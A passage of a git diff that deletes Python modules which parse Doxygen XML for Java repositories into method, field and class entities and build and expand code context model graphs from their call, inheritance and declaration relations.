self.body_end) - ) diff --git a/xmlparser/doxygen_main/MethodEntity.py b/xmlparser/doxygen_main/MethodEntity.py deleted file mode 100644 index f13b901..0000000 --- a/xmlparser/doxygen_main/MethodEntity.py +++ /dev/null @@ -1,94 +0,0 @@ -from xmlparser.doxygen_main.LocationEntity import LocationEntity - - -class MethodEntity: - """ - 方法实体 - """ - ref_id: str # id 唯一标识 - kind: str # 分类类型 variable or function - prot: str # public private - static: str # 是否为静态 yes no - return_type: str # 返回值类型 - definition: str # 定义字符串 IPresenceService[] org.eclipse.ecf.internal.presence.ui.Activator.getPresenceServices - args_string: str # 参数字符串 (xxx xxx, xxx xx) - name: str # 名字 - qualified_name: str # 全名称 - full_name: str # 包含参数的名称,用于后续比较code elements - params: list[dict] # 参数 包含 param_type 类型 和 declname 参数名 - location_file: str # 所属文件路径字符串 - references: list[str] # 引用的元素的id数组 - referenced_by: list[str] # 被引用的元素的id数组 - reimplements: list[str] # 实现的方法 - reimplemented_by: list[str] # 被实现的方法 - location: LocationEntity - - def __init__(self): - self.ref_id = '' - self.kind = '' - self.prot = '' - self.static = '' - self.return_type = '' - self.full_name = '' - self.definition = '' - self.args_string = '' - self.name = '' - self.qualified_name = '' - self.params = [] - self.location_file = '' - self.references = [] - self.referenced_by = [] - self.reimplements = [] - self.reimplemented_by = [] - self.location = LocationEntity() - - def print(self): - print("ref_id: {0}, qualified_name: {1}, definition: {2}, args_string: {3}, full_name: {4}, references: {5}, " - "referencedBy: {6}, reimplements: {7}, reimplemented_by: {8}, location: {9}".format( - self.ref_id, self.qualified_name, self.definition, self.args_string, self.full_name, self.references, - self.referenced_by, self.reimplements, self.reimplemented_by, self.location - )) - - def set_method_info(self, ref_id='', kind='', prot='', static='', return_type='', definition='', args_string='', - name='', full_name='', - qualified_name='', location_file=''): - if not ref_id == '': - self.ref_id = ref_id - if not kind == '': - self.kind = kind - if not prot == '': - self.prot = prot - if not static == '': - self.static = static - if not return_type == '': - self.return_type = return_type - if not definition == '': - self.definition = definition - if not args_string == '': - self.args_string = args_string - if not name == '': - self.name = name - if not full_name == '': - self.full_name = full_name - if not qualified_name == '': - self.qualified_name = qualified_name - if not location_file == '': - self.location_file = location_file - - def add_param(self, param: dict): - self.params.append(param) - - def add_reference(self, reference: str): - self.references.append(reference) - - def add_referenced_by(self, referenced_by: str): - self.referenced_by.append(referenced_by) - - def add_reimplement(self, reimplement: str): - self.reimplements.append(reimplement) - - def add_reimplemented_by(self, reimplemented_by: str): - self.reimplemented_by.append(reimplemented_by) - - def set_location(self, location: LocationEntity): - self.location = location diff --git a/xmlparser/doxygen_main/Metrics.py b/xmlparser/doxygen_main/Metrics.py deleted file mode 100644 index 920930e..0000000 --- a/xmlparser/doxygen_main/Metrics.py +++ /dev/null @@ -1,67 +0,0 @@ -from xmlparser.doxygen_main.ClassEntity import ClassEntity - - -class RepoMetrics: - """ - 解析的working periods的每个仓库的内容实体 - """ - repo_name: str - repo_location: str - classes: list[ClassEntity] - - def __init__(self): - self.repo_name = '' - self.repo_location = '' - self.classes = [] - - def print(self): - print("repo_name: ", self.repo_name) - print("repo_location: ", self.repo_location) - for c in self.classes: - c.print() - - def set_repo_info(self, repo_name: str, repo_location: str): - self.repo_name = repo_name - self.repo_location = repo_location - - def add_class_entity(self, class_entity: ClassEntity): - self.classes.append(class_entity) - - def get_class_by_id(self, ref_id: str): - for c in self.classes: - if c.ref_id == ref_id: - return c - return None - - def is_inner_class(self, ref_id: str): - for c in self.classes: - for i in c.inner_class: - if ref_id == i: - return True - return False - - def get_field_by_id(self, ref_id: str): - for c in self.classes: - for f in c.fields: - if f.ref_id == ref_id: - return f - return None - - def get_method_by_id(self, ref_id: str): - for c in self.classes: - for f in c.methods: - if f.ref_id == ref_id: - return f - return None - - def get_element_by_id(self, ref_id: str): - c = self.get_class_by_id(ref_id) - if c is not None: - return c - m = self.get_method_by_id(ref_id) - if m is not None: - return m - f = self.get_field_by_id(ref_id) - if f is not None: - return f - return None diff --git a/xmlparser/doxygen_main/Vertex.py b/xmlparser/doxygen_main/Vertex.py deleted file mode 100644 index 4cc4b83..0000000 --- a/xmlparser/doxygen_main/Vertex.py +++ /dev/null @@ -1,24 +0,0 @@ -from xmlparser.doxygen_main.LocationEntity import LocationEntity - - -class Vertex: - """ - 图节点 - """ - id: int - ref_id: str - kind: str # class interface... - label: str # 节点element的全名 - origin: int # origin=1表示是否是context model中的,而不是扩展的 - location: LocationEntity - - def __init__(self, _id: int, ref_id: str, kind: str, label: str, origin: int, location=LocationEntity()): - self.id = _id - self.ref_id = ref_id - self.kind = kind - self.label = label - self.origin = origin - self.location = location - - def set_location(self, location=LocationEntity()): - self.location = location diff --git a/xmlparser/doxygen_main/expand_graph.py b/xmlparser/doxygen_main/expand_graph.py deleted file mode 100644 index f932598..0000000 --- a/xmlparser/doxygen_main/expand_graph.py +++ /dev/null @@ -1,276 +0,0 @@ -""" -根据结构关系扩展 code context model 的相关 API -v_element.prot != 'package' 是为了剔除 static 代码块 -""" -import random -from typing import Union - -from xmlparser.doxmlparser.compound import DoxMemberKind, DoxCompoundKind -from xmlparser.doxygen_main import solve_graph -from xmlparser.doxygen_main.ClassEntity import ClassEntity -from xmlparser.doxygen_main.FieldEntity import FieldEntity -from xmlparser.doxygen_main.Graph import Graph, EdgeLabel -from xmlparser.doxygen_main.MethodEntity import MethodEntity -from xmlparser.doxygen_main.Metrics import RepoMetrics -from xmlparser.doxygen_main.Vertex import Vertex - -function_like_kind = [DoxMemberKind.FUNCTION] -variable_like_kind = [DoxMemberKind.VARIABLE] - - -def get_label(element: Union[ClassEntity, MethodEntity, FieldEntity, None]): - """ - 根据不同类型,获取不同的元素的名称 - - :param element: 元素 - :return: 作为 label 的名称字符串 - """ - if isinstance(element, ClassEntity): - return element.compound_name.replace('::', '.') - elif isinstance(element, MethodEntity): - return element.full_name - elif isinstance(element, FieldEntity): - return element.qualified_name - else: - return '' - - -def select_random_percent(arr, percent): - # 计算要挑选的元素数量 - num_to_select = int(len(arr) * percent) - # 如果数量小于1,则设置为1 - num_to_select = max(num_to_select, 1) - # 如果要挑选的元素数量大于数组长度,调整为数组长度 - num_to_select = min(num_to_select, len(arr)) - # 随机选择元素 - selected_indices = random.sample(range(len(arr)), num_to_select) - # 获取选中的元素 - selected_elements = [arr[i] for i in selected_indices] - return selected_elements - - -def expand_field(graph: Graph, repo_metrics: RepoMetrics, vertex: Vertex): - """ - 扩展字段:被声明和被调用,只关心节点 - - :param graph: 图 - :param repo_metrics: doxygen矩阵 - :param vertex: 节点 - :return: 没有返回值 - """ - # 被声明 - v_ref_id = vertex.ref_id[:vertex.ref_id.rfind('_')] - v_class = repo_metrics.get_class_by_id(v_ref_id) - if v_class is not None: - v_id = graph.get_vertex_id_by_ref_id(v_class.ref_id) - # 如果该类不存在,则加入,并更新节点id - if v_id == -1: - if v_class.prot != 'package': - graph.add_vertex(v_class.ref_id, v_class.kind, get_label(v_class)) - # 被调用 - # fie = repo_metrics.get_field_by_id(vertex.ref_id) - # if fie is not None: - # selected_referenced = select_random_percent(fie.referenced_by, 0.5) - # for ref_by_id in selected_referenced: - # v_element = repo_metrics.get_element_by_id(ref_by_id) - # if v_element is not None: - # v_id = graph.get_vertex_id_by_ref_id(ref_by_id) - # if v_id == -1: # 如果节点不存在,则加入,并更新节点id - # if v_element.prot != 'package': - # graph.add_vertex(ref_by_id, v_element.kind, get_label(v_element)) - - -def expand_method(graph: Graph, repo_metrics: RepoMetrics, vertex: Vertex): - """ - 扩展方法:被声明,调用(主动和被动),实现(主动和被动),只关心节点 - - :param graph: 图 - :param repo_metrics: doxygen矩阵 - :param vertex: 节点 - :return: 没有返回值 - """ - # 被声明 - v_ref_id = vertex.ref_id[:vertex.ref_id.rfind('_')] - v_class = repo_metrics.get_class_by_id(v_ref_id) - if v_class is not None: - v_id = graph.get_vertex_id_by_ref_id(v_class.ref_id) - # 如果该类不存在,则加入,并更新节点id - if v_id == -1: - if v_class.prot != 'package': - graph.add_vertex(v_class.ref_id, v_class.kind, get_label(v_class)) - # 调用关系和实现关系 - met = repo_metrics.get_method_by_id(vertex.ref_id) - if met is not None: - # 主动调用 - selected_reference = [] - for ref_id in met.references: - v_element = repo_metrics.get_element_by_id(ref_id) - if v_element is not None: - # 不要 field - if not v_element.kind == 'variable': - selected_reference.append(ref_id) - for ref_id in selected_reference: - v_element = repo_metrics.get_element_by_id(ref_id) - if v_element is not None: - v_id = graph.get_vertex_id_by_ref_id(ref_id) - if v_id == -1: - if v_element.prot != 'package': - graph.add_vertex(v_element.ref_id, v_element.kind, get_label(v_element)) - # 被调用 - for ref_by_id in met.referenced_by: - v_element = repo_metrics.get_element_by_id(ref_by_id) - if v_element is not None: - v_id = graph.get_vertex_id_by_ref_id(ref_by_id) - if v_id == -1: - if v_element.prot != 'package': - graph.add_vertex(v_element.ref_id, v_element.kind, get_label(v_element)) - # 主动实现 - for re_imp_id in met.reimplements: - v_element = repo_metrics.get_element_by_id(re_imp_id) - if v_element is not None: - v_id = graph.get_vertex_id_by_ref_id(re_imp_id) - if v_id == -1: - if v_element.prot != 'package': - graph.add_vertex(v_element.ref_id, v_element.kind, get_label(v_element)) - # 被实现 - for re_imp_by_id in met.reimplemented_by: - v_element = repo_metrics.get_element_by_id(re_imp_by_id) - if v_element is not None: - v_id = graph.get_vertex_id_by_ref_id(re_imp_by_id) - if v_id == -1: - if v_element.prot != 'package': - graph.add_vertex(v_element.ref_id, v_element.kind, get_label(v_element)) - - -def expand_class(graph: Graph, repo_metrics: RepoMetrics, vertex: Vertex): - """ - 扩展类:声明,继承(类,接口),实现(类),被继承(类,接口),被实现(接口),这一步只是找到节点,并加入图中,后续在统一找边 - - :param graph: 图 - :param repo_metrics: doxygen矩阵 - :param vertex: 节点 - :return: 没有返回值 - """ - cla = repo_metrics.get_class_by_id(vertex.ref_id) - if cla is not None: - # 声明的字段 - # selected_fields = select_random_percent(cla.fields, 0.25) - for c_f in cla.fields: - v_id = graph.get_vertex_id_by_ref_id(c_f.ref_id) - if v_id == -1: - graph.add_vertex(c_f.ref_id, c_f.kind, c_f.qualified_name) - # 找声明的方法 - # selected_methods = select_random_percent(cla.methods, 0.25) - for c_m in cla.methods: - v_id = graph.get_vertex_id_by_ref_id(c_m.ref_id) - if v_id == -1: - if c_m.prot != 'package': - graph.add_vertex(c_m.ref_id, c_m.kind, c_m.full_name) - # 找继承(类继承类,类实现接口,接口继承接口) - for base_ref in cla.base_compound_ref: - if base_ref != '': - v_element = repo_metrics.get_class_by_id(base_ref) - if v_element is not None: - v_id, v_kind = graph.get_vertex_id_and_kind_by_ref_id(base_ref) - if v_id == -1: - if v_element.prot != 'package': - graph.add_vertex(v_element.ref_id, v_element.kind, get_label(v_element)) - # 找被继承(类被类继承,接口被类实现,接口被接口继承) - for derived_ref in cla.derived_compound_ref: - if derived_ref != '': - v_element = repo_metrics.get_class_by_id(derived_ref) - if v_element is not None: - v_id, v_kind = graph.get_vertex_id_and_kind_by_ref_id(derived_ref) - if v_id == -1: - if v_element.prot != 'package': - graph.add_vertex(v_element.ref_id, v_element.kind, get_label(v_element)) - - -def expand_graph_1_step(graph: Graph, repo_metrics: RepoMetrics, start: int): - """ - 一步扩展图,只考虑扩展的节点加入图中,然后调用其他函数完成边的加入 - - :param graph: 图 - :param repo_metrics: doxygen矩阵 - :param start: 需要从哪个节点开始扩展,节点下标,也就是id - :return: 扩展之前的节点数 - """ - origin_vertex_number = len(graph.vertices) - for vertex in graph.vertices[start:]: - if vertex.kind in variable_like_kind: - expand_field(graph, repo_metrics, vertex) - elif vertex.kind in function_like_kind: - expand_method(graph, repo_metrics, vertex) - elif vertex.kind == DoxCompoundKind.CLASS or vertex == DoxCompoundKind.INTERFACE: - expand_class(graph, repo_metrics, vertex) - return origin_vertex_number - - -def complete_graph(graph: Graph, repo_metrics: RepoMetrics): - """ - 完善扩展图后,补充节点之间的边关系 - - :param graph: 图 - :param repo_metrics: doxygen矩阵 - :return: 无 - """ - for vertex in graph.vertices: - if vertex.origin == 0: - solve_graph.complete_edge_of_vertex(graph, repo_metrics, vertex) - - -def expand_model_graph(graph: Graph, repo_metrics: RepoMetrics, step: int): - """ - 根据步长step,扩展单个图 - - :param graph: 图 - :param repo_metrics: 该图对应的doxygen矩阵 - :param step: 步长 - :return: 无 - """ - if step == 1: - expand_graph_1_step(graph, repo_metrics, 0) - elif step == 2: - origin_number = expand_graph_1_step(graph, repo_metrics, 0) - # 从origin_number后,再一次调用即可 - expand_graph_1_step(graph, repo_metrics, origin_number) - elif step == 3: - origin_number_1 = expand_graph_1_step(graph, repo_metrics, 0) - # 从origin_number后,再两次调用即可 - origin_number_2 = expand_graph_1_step(graph, repo_metrics, origin_number_1) - expand_graph_1_step(graph, repo_metrics, origin_number_2) - complete_graph(graph, repo_metrics) - - -def add_location_to_field_and_method(graph: Graph, repo_metrics: RepoMetrics): - """ - 为 Method 和 Field 类型节点添加 location 信息 - - :param graph: 图 - :param repo_metrics: doxygen矩阵 - :return: 无 - """ - for vertex in graph.vertices: - if vertex.kind in function_like_kind: - met = repo_metrics.get_method_by_id(vertex.ref_id) - vertex.set_location(met.location) - elif vertex.kind in variable_like_kind: - fie = repo_metrics.get_field_by_id(vertex.ref_id) - vertex.set_location(fie.location) - - -def expand_model(graph_list: list[Graph], all_repo_metrics: list[RepoMetrics], step: int): - """ - 根据step,扩展模型 - - :param graph_list: 模型的图集合 - :param all_repo_metrics: 所有的doxygen矩阵 - :param step: 扩展步长 - :return: 无,因为就是在graph对象上做修改 - """ - for graph in graph_list: - for repo_metrics in all_repo_metrics: - if graph.repo_name == repo_metrics.repo_name: - expand_model_graph(graph, repo_metrics, step) - add_location_to_field_and_method(graph, repo_metrics) - print("{} step expand model over~~~~~~~~~~~~~~~~".format(step)) diff --git a/xmlparser/doxygen_main/get_relations.py b/xmlparser/doxygen_main/get_relations.py deleted file mode 100644 index 0af1ed9..0000000 --- a/xmlparser/doxygen_main/get_relations.py +++ /dev/null @@ -1,208 +0,0 @@ -import os -from os.path import join, isdir - -from xmlparser import doxmlparser -from xmlparser.doxmlparser.compound import DoxCompoundKind, DoxMemberKind, MixedContainer -from xmlparser.doxygen_main import get_standard_elements, solve_graph -from xmlparser.doxygen_main.ClassEntity import ClassEntity -from xmlparser.doxygen_main.FieldEntity import FieldEntity -from xmlparser.doxygen_main.Graph import Graph -from xmlparser.doxygen_main.LocationEntity import LocationEntity -from xmlparser.doxygen_main.MethodEntity import MethodEntity -from xmlparser.doxygen_main.Metrics import RepoMetrics - - -def linked_text_to_string(linked_text): - res_str = '' - if linked_text: - for text_or_ref in linked_text.content_: - if text_or_ref.getCategory() == MixedContainer.CategoryText: - res_str += text_or_ref.getValue() - else: - res_str += text_or_ref.getValue().get_valueOf_() - return res_str - - -def parse_members(section_def, class_entity: ClassEntity): - function_like_kind = [DoxMemberKind.FUNCTION] - variable_like_kind = [DoxMemberKind.VARIABLE] - for member_def in section_def.get_memberdef(): - # print("processing member_der {}".format(member_def.get_qualifiedname())) - # method - if member_def.get_kind() in function_like_kind: - method_entity = MethodEntity() - method_entity.set_method_info( - ref_id=member_def.get_id(), - prot=member_def.get_prot(), - static=member_def.get_static(), - kind=member_def.get_kind(), - return_type=linked_text_to_string(member_def.get_type()), - definition=member_def.get_definition(), - name=member_def.get_name(), - qualified_name=member_def.get_qualifiedname(), - args_string=member_def.get_argsstring(), - location_file=member_def.get_location().get_file() - ) - param_str = [] - for param in member_def.get_param(): - name = param.get_declname() - param_type = linked_text_to_string(param.get_type()) - # if param.get_type().get_ref(): - # param_type = param.get_type().get_ref().get_refid() - # else: - # param_type = param.get_type().valueOf_ - method_entity.add_param({ - 'name': name, - 'param_type': param_type.split(' ')[-1] - }) - param_str.append(param_type) - method_entity.set_method_info( - full_name=member_def.get_qualifiedname() + "(" + ','.join(param_str) + ")" - ) - # 设置location - method_entity.set_location(LocationEntity( - file=member_def.get_location().get_file(), - line=member_def.get_location().get_line(), - column=member_def.get_location().get_column(), - body_file=member_def.get_location().get_bodyfile(), - body_start=member_def.get_location().get_bodystart(), - body_end=member_def.get_location().get_bodyend() - )) - # 添加调用和被调用 - for reference in member_def.get_references(): - method_entity.add_reference(reference.get_refid()) - for referenced_by in member_def.get_referencedby(): - method_entity.add_referenced_by(referenced_by.get_refid()) - # 添加实现和被实现 - for reimplement in member_def.get_reimplements(): - method_entity.add_reimplement(reimplement.get_refid()) - for reimplemented_by in member_def.get_reimplementedby(): - method_entity.add_reimplemented_by(reimplemented_by.get_refid()) - class_entity.add_method(method_entity) - # field - elif member_def.get_kind() in variable_like_kind: - field_entity = FieldEntity() - field_entity.set_field_info( - ref_id=member_def.get_id(), - prot=member_def.get_prot(), - static=member_def.get_static(), - kind=member_def.get_kind(), - field_type=linked_text_to_string(member_def.get_type()), - definition=member_def.get_definition(), - name=member_def.get_name(), - qualified_name=member_def.get_qualifiedname(), - initializer=linked_text_to_string(member_def.get_initializer()), - location_file=member_def.get_location().get_file() - ) - # 设置location - field_entity.set_location(LocationEntity( - file=member_def.get_location().get_file(), - line=member_def.get_location().get_line(), - column=member_def.get_location().get_column(), - body_file=member_def.get_location().get_bodyfile(), - body_start=member_def.get_location().get_bodystart(), - body_end=member_def.get_location().get_bodyend() - )) - for referenced_by in member_def.get_referencedby(): - field_entity.add_referenced_by(referenced_by.get_refid()) - class_entity.add_field(field_entity) - - -def parse_sections(compound_def, class_entity: ClassEntity): - for section_def in compound_def.get_sectiondef(): - # print("processing section_def {} kind".format(section_def.get_kind())) - parse_members(section_def, class_entity) - - -def parse_compound(repo_path: str, id: str, metrics: RepoMetrics): - root_obj = doxmlparser.compound.parse(repo_path + "/" + id + ".xml", True) - for compound_def in root_obj.get_compounddef(): - kind = compound_def.get_kind() - class_entity: ClassEntity = None - if kind == DoxCompoundKind.CLASS or kind == DoxCompoundKind.INTERFACE: - class_entity = ClassEntity() - class_entity.set_class_info( - ref_id=compound_def.get_id(), - kind=compound_def.get_kind(), - prot=compound_def.get_prot(), - compound_name=compound_def.get_compoundname(), - ) - for base_ref in compound_def.get_basecompoundref(): - ref_id = base_ref.get_refid() if base_ref.get_refid() else base_ref.valueOf_ - class_entity.add_base_compound_ref(ref_id) - for derived_ref in compound_def.get_derivedcompoundref(): - ref_id = derived_ref.get_refid() if derived_ref.get_refid() else derived_ref.valueOf_ - class_entity.add_derived_compound_ref(ref_id) - for inner_class in compound_def.get_innerclass(): - ref_id = inner_class.get_refid() if inner_class.get_refid() else inner_class.valueOf_ - class_entity.add_inner_class(ref_id) - else: - continue - parse_sections(compound_def, class_entity) - metrics.add_class_entity(class_entity) - - -def parse_index(repo_path: str, repo: str): - metrics = RepoMetrics() - metrics.set_repo_info(repo, repo_path) - root_obj = doxmlparser.index.parse(repo_path + "/index.xml", True) - for compound in root_obj.get_compound(): # for each compound defined in the index - # print("Processing {0}...".format(compound.get_name())) - parse_compound(repo_path, compound.get_refid(), metrics) - # print("{0} parse finished".format(repo_path)) - return metrics - - -def parse_working_periods(period_path: str): - """ - 解析working periods的doxygen文件 - - :param period_path: 路径 - :return: 返回解析的项目metrics数组 - """ - period_path = join(period_path, 'doxygen') - all_repo_metrics: list[RepoMetrics] = [] - repo_dir_list = os.listdir(period_path) - for repo in repo_dir_list: - repo_path = join(period_path, repo) - print(repo_path) - if not isdir(repo_path): - continue - all_repo_metrics.append(parse_index(repo_path, repo)) - return all_repo_metrics - - -def solve_doxygen_metrics(repo_path: str): - """ - 根据项目目录,解析每个项目的 doxygen 矩阵 - - :param repo_path: 每个working period的项目根目录 - :return: doxygen矩阵列表 - """ - dir_list = os.listdir(repo_path) # 如果该路径下没有文件夹,说明没有从git上找到匹配的commit - if len(dir_list) == 0: - return [] - all_repo_metrics = parse_working_periods(repo_path) # 分项目解析repo_metrics - # for m in all_repo_metrics: - # m.print() - return all_repo_metrics - - -def main_func(repo_path: str, code_elements: list[str]): - """ - 运行doxygen之后,根据IQR_code_elements中的element对doxygen的输出文件解析,并生成code context model - - :param repo_path: 该working period项目文件存放的的目录 - :param code_elements: 解析出来的所有elements - :return: 解析出来的图集合,以及每个elements的匹配结果集合,1找到了0未找到 - """ - graph_list: list[Graph] = [] - valid_list: list[int] = [] - all_repo_metrics = solve_doxygen_metrics(repo_path) - if len(all_repo_metrics) == 0: - return graph_list, valid_list - standard_elements = get_standard_elements.solve(code_elements) - print(standard_elements) - graph_list, valid_list = solve_graph.solve(all_repo_metrics, standard_elements) - print(graph_list, valid_list) - return graph_list, valid_list diff --git a/xmlparser/doxygen_main/get_standard_elements.py b/xmlparser/doxygen_main/get_standard_elements.py deleted file mode 100644 index a7ab376..0000000 --- a/xmlparser/doxygen_main/get_standard_elements.py +++ /dev/null @@ -1,152 +0,0 @@ -""" -用于从xml记录的elements中,解析出各个元素的qualified name -如果是方法,还需要解析出参数 -""" - - -def solve_one(element: str): - """ - 针对单个元素,解析其 qualified name - :param element: 原始字符串 - :return: [repo, qualified name] - """ - index1 = element.find('src<') - index2 = element.find('{') - if index1 == -1 or index2 == -1: - return ['', ''] - repo_str = element[1:index1 - 1] - package_str = element[index1 + 7: index2] - code_str = element[index2 + 1:] - qualified_name = '' - if code_str.endswith('.java'): - qualified_name = package_str + '.' + code_str[:-5] - else: - index3 = code_str.find('.java[') - if index3 == -1: - return ['', ''] - qualified_name = package_str + '.' - class_field_method_str = code_str[index3 + 6:] - while True: - class_index = class_field_method_str.find('[') - if class_index == -1 or class_field_method_str[class_index-2:class_index+1] == r'~\[': - break - elif class_index == len(class_field_method_str) - 1: - class_field_method_str = class_field_method_str[:class_index] - elif class_field_method_str[class_index + 1] == '~' \ - or class_field_method_str[class_index + 1] == '!' \ - or class_field_method_str[class_index + 1] == '|': - # 这个暂时不知道后面的解析情况,先直接舍弃 - class_field_method_str = class_field_method_str[:class_index] - else: - qualified_name += class_field_method_str[:class_index] + '.' - class_field_method_str = class_field_method_str[class_index + 1:] - # 到这里就没有类了 - field_method_str = class_field_method_str - field_index = field_method_str.find('^') - if field_index != -1: - qualified_name += field_method_str[:field_index] + '.' - field_str = field_method_str[field_index + 1:] - qualified_name += field_str - method_index = field_method_str.find('~') - if method_index != -1: - qualified_name += field_method_str[:method_index] + '.' - method_str = field_method_str[method_index + 1:] - params = method_str.split('~') - method_str = params[0] + '(' - for p in params[1:]: - # java描述符 - if p == "I": - method_str += 'int' - elif p == r'\[I': - method_str += 'int[]' - elif p == "Z": - method_str += 'boolean' - elif p == r'\[Z': - method_str += 'boolean[]' - elif p == r'\[B': - method_str += 'byte[]' - elif p == r'B': - method_str += 'byte' - elif p == r'\[C': - method_str += 'char[]' - elif p == r'C': - method_str += 'char' - elif p == r'\[S': - method_str += 'short[]' - elif p == r'S': - method_str += 'short' - elif p == r'\[F': - method_str += 'float[]' - elif p == r'F': - method_str += 'float' - elif p == r'\[J': - method_str += 'long[]' - elif p == r'J': - method_str += 'long' - elif p == r'\[D': - method_str += 'double[]' - elif p == r'D': - method_str += 'double' - elif p.startswith('Q'): - method_str += p[1:-1] - elif p.startswith(r'\[Q'): - method_str += p[3:-1] + '[]' - if params.index(p) < len(params) - 1: - method_str += ',' - method_str += ')' - # 参数可能出现容器 - while True: - less_index = method_str.find(r'\<') - great_index = method_str.find('>') - if less_index != -1 and great_index != -1: - sub_str = method_str[less_index: great_index+4] - new_sub_str = sub_str.replace('+', '') - new_sub_str = new_sub_str.replace(r'\<', '<') - new_sub_str = new_sub_str.replace('>', '>') - new_str = new_sub_str[1: -2] - str_list = new_str.split(';') - if '' in str_list: - str_list.remove('') - transfer_str = '' - for s in str_list: - transfer_str += s[1:] - if str_list.index(s) != len(str_list) - 1: - transfer_str += ',' - new_sub_str = '<' + transfer_str + '>' - method_str = method_str.replace(sub_str, new_sub_str) - else: - break - qualified_name += method_str - if field_index == -1 and method_index == -1: - qualified_name += field_method_str - qualified_name = qualified_name.replace('!1', '') - qualified_name = qualified_name.replace('!2', '') - qualified_name = qualified_name.replace('!3', '') - qualified_name = qualified_name.replace('!4', '') - qualified_name = qualified_name.replace('!5', '') - qualified_name = qualified_name.replace('!6', '') - qualified_name = qualified_name.replace('!7', '') - qualified_name = qualified_name.replace('!8', '') - qualified_name = qualified_name.replace('!9', '') - qualified_name = qualified_name.replace('|1', '') - qualified_name = qualified_name.replace('|2', '') - qualified_name = qualified_name.replace(';!', '') - return [repo_str, qualified_name] - - -def solve(elements: list[str]): - """ - 根据elements的初始文本,解析其所属的项目,文件,类,方法等 - :param elements: 原始的elements文本集合,如=org.eclipse.mylyn.tasks.tests/src<org.eclipse.mylyn.tasks.tests{AllTasksTests.java - :return: 解析之后分repo的标准的elements描述集合 如org.eclipse.mylyn.tasks.tests.AllTasksTests - """ - standard_elements = [] - for element in elements: - res = solve_one(element) - standard_elements.append(res) - # if res != '': - # standard_elements.append(res) - # else: - # # 解析失败需要设置valid字段 - # print('{} solve error!!!!'.format(element)) - return standard_elements diff --git a/xmlparser/doxygen_main/solve_graph.py b/xmlparser/doxygen_main/solve_graph.py deleted file mode 100644 index 7d18bf9..0000000 --- a/xmlparser/doxygen_main/solve_graph.py +++ /dev/null @@ -1,271 +0,0 @@ -""" -根据metrics和standard elements解析关系的工具包 -""" -from xmlparser.doxmlparser.compound import DoxCompoundKind, DoxMemberKind -from xmlparser.doxygen_main.Graph import Graph, EdgeLabel -from xmlparser.doxygen_main.Metrics import RepoMetrics -from xmlparser.doxygen_main.Vertex import Vertex - -function_like_kind = [DoxMemberKind.FUNCTION] -variable_like_kind = [DoxMemberKind.VARIABLE] - - -def element_exist(all_repo_metrics: list[RepoMetrics], element: list[str]): - """ - 判断elements是否在metrics中存在,如果存在返回匹配的ref_id和kind - - :param all_repo_metrics: 所有的doxygen矩阵 - :param element: 代码元素字符串 - :return: ref_id, kind 如果有的话 - """ - for metric in all_repo_metrics: - if metric.repo_name != element[0]: - continue - for c in metric.classes: - c_name = c.compound_name.replace('::', '.') - if c_name == element[1]: - return c.ref_id, c.kind - for f in c.fields: - if f.qualified_name == element[1]: - return f.ref_id, f.kind - for m in c.methods: - if m.full_name == element[1]: - return m.ref_id, m.kind - return '', '' - - -def transfer_elements(all_repo_metrics: list[RepoMetrics], standard_elements: list[list[str]]): - """ - 转换code elements格式,将其转换为dict格式,{ref_id:xxx, name:xxx} - - :param all_repo_metrics: doxygen矩阵 - :param standard_elements: 标准的code elements字符串 - :return: 返回dict,{repo: [elements], repo: [elements]} - """ - new_elements = dict() - valid_list = [] - ref_id_list = [] - for se in standard_elements: - if se[0] == '' or se[1] == '': - valid_list.append(0) - continue - ref_id, kind = element_exist(all_repo_metrics, se) - if ref_id == '': - valid_list.append(0) - continue - else: - valid_list.append(1) - if ref_id not in ref_id_list: # 对结果去重 - ref_id_list.append(ref_id) - if se[0] in new_elements.keys(): - new_elements.get(se[0]).append({ - 'ref_id': ref_id, - 'kind': kind, - 'name': se[1] - }) - else: - new_elements[se[0]] = [{ - 'ref_id': ref_id, - 'kind': kind, - 'name': se[1] - }] - return new_elements, valid_list - - -def complete_edge_of_vertex(graph: Graph, metric: RepoMetrics, vertex: Vertex): - """ - 给定节点,完善他与图中的其他节点的边 - - :param graph: 图 - :param metric: doxygen矩阵 - :param vertex: 节点 - :return: 无 - """ - kind = vertex.kind - ref_id = vertex.ref_id - origin_id = vertex.id - if kind == DoxCompoundKind.CLASS or kind == DoxCompoundKind.INTERFACE: - # 如果是类,找继承关系和声明关系 - cla = metric.get_class_by_id(ref_id) - if cla is None: - return - # 先找继承,目前只考虑直接继承 - for base_ref in cla.base_compound_ref: - if base_ref != '': - v_id, v_kind = graph.get_vertex_id_and_kind_by_ref_id(base_ref) - if v_id != -1: - # 需要区分是接口还是类,关系到边是inherits 还是 implements - if v_kind == DoxCompoundKind.CLASS: # 能继承类的只有类 - graph.add_edge( - start=origin_id, - end=v_id, - label=EdgeLabel.INHERIT - ) - elif v_kind == DoxCompoundKind.INTERFACE: # 能继承接口的,可以是类实现接口,也可以是接口继承接口 - if kind == DoxCompoundKind.INTERFACE: - graph.add_edge( - start=origin_id, - end=v_id, - label=EdgeLabel.INHERIT - ) - else: - graph.add_edge( - start=origin_id, - end=v_id, - label=EdgeLabel.IMPLEMENT - ) - # 找被继承,或者被实现 - for derived_ref in cla.derived_compound_ref: - if derived_ref != '': - v_id, v_kind = graph.get_vertex_id_and_kind_by_ref_id(derived_ref) - if v_id != -1: - if v_kind == DoxCompoundKind.CLASS: # 能被类实现的,可以是类被类继承,也可以接口被类实现 - if kind == DoxCompoundKind.CLASS: - graph.add_edge( - start=v_id, - end=origin_id, - label=EdgeLabel.INHERIT - ) - else: - graph.add_edge( - start=v_id, - end=origin_id, - label=EdgeLabel.IMPLEMENT - ) - elif v_kind == DoxCompoundKind.INTERFACE: # 能被接口继承的只有接口 - if kind == DoxCompoundKind.INTERFACE: - graph.add_edge( - start=v_id, - end=origin_id, - label=EdgeLabel.INHERIT - ) - # 找声明的字段 - for c_f in cla.fields: - v_id = graph.get_vertex_id_by_ref_id(c_f.ref_id) - if v_id != -1: - graph.add_edge( - start=origin_id, - end=v_id, - label=EdgeLabel.DECLARE - ) - # 找声明的方法 - for c_m in cla.methods: - v_id = graph.get_vertex_id_by_ref_id(c_m.ref_id) - if v_id != -1: - graph.add_edge( - start=origin_id, - end=v_id, - label=EdgeLabel.DECLARE - ) - elif kind in function_like_kind: - # 被声明,由于该API在后续扩展图时要用到,所以声明需要加上,但是这里改动不影响前面 - v_ref_id = ref_id[:ref_id.rfind('_')] - v_id = graph.get_vertex_id_by_ref_id(v_ref_id) - # 如果该类不存在,则加入,并更新节点id - if v_id != -1: - graph.add_edge(start=v_id, end=origin_id, 